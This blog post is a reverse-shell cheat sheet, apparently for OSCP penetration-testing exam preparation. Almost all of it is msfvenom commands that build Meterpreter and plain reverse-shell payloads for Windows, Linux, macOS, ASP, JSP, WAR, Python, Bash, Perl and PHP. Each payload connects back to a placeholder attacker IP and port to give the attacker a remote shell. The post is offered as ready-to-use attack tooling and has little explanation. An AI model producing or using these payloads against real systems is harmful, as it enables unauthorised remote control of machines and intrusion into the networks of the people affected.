Translate

Saturday 5 October 2019

OSCP - Meterpreter Reverse Shell Cheatsheet


Meterpreter shells:

1. Windows-

Staged Reverse TCP


 msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacher_ip> LPORT=<port> -f exe > reverse.exe

Stageless Reverse TCP

msfvenom -p windows/shell_reverse_tcp LHOST=<attacher_ip> LPORT=<port> -f exe > reverse.exe


2. Linux-

Staged Reverse TCP
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<attacher_ip> LPORT=<port> -f elf >reverse.elf


Stageless Reverse TCP

msfvenom -p linux/x86/shell_reverse_tcp LHOST=<attacher_ip> LPORT=<port> -f elf >reverse.elf

3. Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST="<attacher_ip>" LPORT=<port> -f macho > shell.macho

4. ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST="<attacher_ip>" LPORT=<port> -f asp > shell.asp

5. JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST="<attacher_ip>" LPORT=<port> -f raw > shell.jsp

6. WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST="<attacher_ip>" LPORT=<port> -f war > shell.war

7. Python

msfvenom -p cmd/unix/reverse_python LHOST="<attacher_ip>" LPORT=<port> -f raw > shell.py

8. Bash shell

msfvenom -p cmd/unix/reverse_bash LHOST="<attacher_ip>" LPORT=<port> -f raw > shell.sh

9. Perl

msfvenom -p cmd/unix/reverse_perl LHOST="<attacher_ip>" LPORT=<port> -f raw > shell.pl

10. PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST="<attacher_ip>" LPORT=<port> -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php


No comments:

Post a Comment